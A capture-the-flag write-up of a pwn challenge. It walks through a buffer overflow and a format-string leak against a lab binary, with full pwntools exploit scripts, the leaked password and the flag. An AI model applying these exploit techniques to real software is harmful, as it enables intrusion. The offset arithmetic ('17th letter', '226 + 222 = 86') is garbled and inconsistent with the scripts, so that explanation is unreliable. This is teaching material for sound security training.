Swiss Hacking Challenge 2023 - vr training

Posted on Apr 30, 2023

Information

Challenge category: pwn

Challenge Description

https://youtu.be/I5AunfmI8bs?t=3843 I was part of the Army’s Force XXI Trials— Force XXI? Thats about tactical IT deployment right? Any field experience? No – not really. So this is your first. I’ve had extensive training – the kind that’s indistinguishable from the real thing. Like what? Sneaking Mission 60, Weapons 80, Advanced – VR, huh.

Hint: Around %30$p

Files

We are given a vr_training.zip file

The goal of this challenge is to complete two tasks:

  • Exploit a stack buffer overflow to overwrite a variable
  • Exploit a string format attack to read a password

Once both tasks are completed, the flag is printed.

Exploitation

Buffer overflow

The source code tells the following:

int value = 1;
char buffer[64];
printf("Your input: ");
fgets(buffer, 100, stdin);

if(value == 0xdeadbeef) {
 fail();
}

We can see that the buffer is 64 bytes long, but fgets reads 100 bytes. This means we can overflow the buffer and overwrite the value variable.

However, we also need to find the offset to the value variable. We can do this by setting a breakpoint at the if statement and inspecting the stack.

gdb ./vr_training 
pwndbg> b *0x0000000000401359
Breakpoint 1 at 0x401359
pwndbg> r
Your input: AABBCCDDEEFFGG---
---
Breakpoint 1, 0x0000000000401359 in main ()
---
pwndbg> x/1x $rbp-0x4
0x7fffffffdaac: 0x76767575

0x76767575 is vv in ASCII. v is the 17th letter in the alphabet. That means our offset is $226 + 222 = 86$.

We can now build our exploit:

#!/usr/bin/python3

# buffer is 64 bytes
padding = b'A' * 64

offset_padding = b'A' * 28

# hex 0xdeadbeef
deadbeef = b'\xef\xbe\xad\xde'

# combine this
payload = padding + offset_padding + deadbeef

# write to file
with open('payload', 'wb') as f:
    f.write(payload)
./vr < payload
[---] We start with Buffer Overflow 10
Your input: [+] Good!
[---] Next is Format String 10

Format string

Note: I’ll be using pwntools from now on as we have multiple inputs to send.

This is the buffer overflow part of the exploit script in pwntools:

#!/usr/bin/env python3
from pwn import *

# spawn a process
# ask user if remote 
print("Remote or local? (r/[l]): ", end='')
type = input()
if "r" in type:
    p = remote("chall.m0unt41n.ch", 31337)
else:
    p = process('./vr')

# padding
padding = b'A' * (64+28)

# 0xdeadbeef
payload = padding + b'\xef\xbe\xad\xde'

# receive lines until line containing "Your input: "
p.recvuntil(b"Your input: ")

# send payload
p.sendline(payload)

The C source code for the format string part is:

  char format[64];
  printf("Your input: ");
  fgets(format, 64, stdin);
  printf(format);

We can see that the input is printed directly with printf. This means we can use a format string attack to read the password variable. The hint mentions %30$p. This is a format string that prints the 30th argument on the stack. We can use this to read the password variable.

def pwnCode():
    global p
    string = b"%30$llx %31$llx %32$llx %33$llx %34$llx %35$llx %36$llx %37$llx"
    p.sendline(string)



    # print output
    a = p.recvuntil(b"Your access code:").decode('ascii')
    values = a.split(" ")
    total = ""
    # drop first 2 values
    values = values[2:]
    for i in range(3):
        value = values[i]
        # zfill
        value = value.zfill(16)
        # reverse bytes (thx copilot for this ugly line)
        value = value[14:16] + value[12:14] + value[10:12] + value[8:10] + value[6:8] + value[4:6] + value[2:4] + value[0:2]
        # convert to text 
        value = bytes.fromhex(value).decode('ascii')
        total += value
    print(total)

This code returns the password: SECRET_ACCESS_CODE_1337

We can now combine both parts of the exploit:

#!/usr/bin/env python3
from pwn import *

# spawn a process
# ask user if remote 
print("Remote or local? (r/[l]): ", end='')
type = input()
if "r" in type:
    p = remote("chall.m0unt41n.ch", 1337)
else:
    p = process('./vr')

# padding
padding = b'A' * (64+28)

# 0xdeadbeef
payload = padding + b'\xef\xbe\xad\xde'

# receive lines until line containing "Your input: "
p.recvuntil(b"Your input: ")

# send payload
p.sendline(payload)

# print output
print(p.recvline().decode('utf-8'))
print(p.recvline().decode('utf-8'))
p.sendline()
p.sendline(b"SECRET_ACCESS_CODE_1337")
p.interactive()

Flag

The flag is:

shc2023{y0u_c0mpl3t3d_VR_tr41n1ng_s0ld13r}

Conclusion

First time doing a pwn challenge. I learned a lot about buffer overflows and string formatting. Praise LiveOverflow for his binary exploitation videos.

References

  1. https://ctf101.org/binary-exploitation/buffer-overflow/
  2. https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/
  3. https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN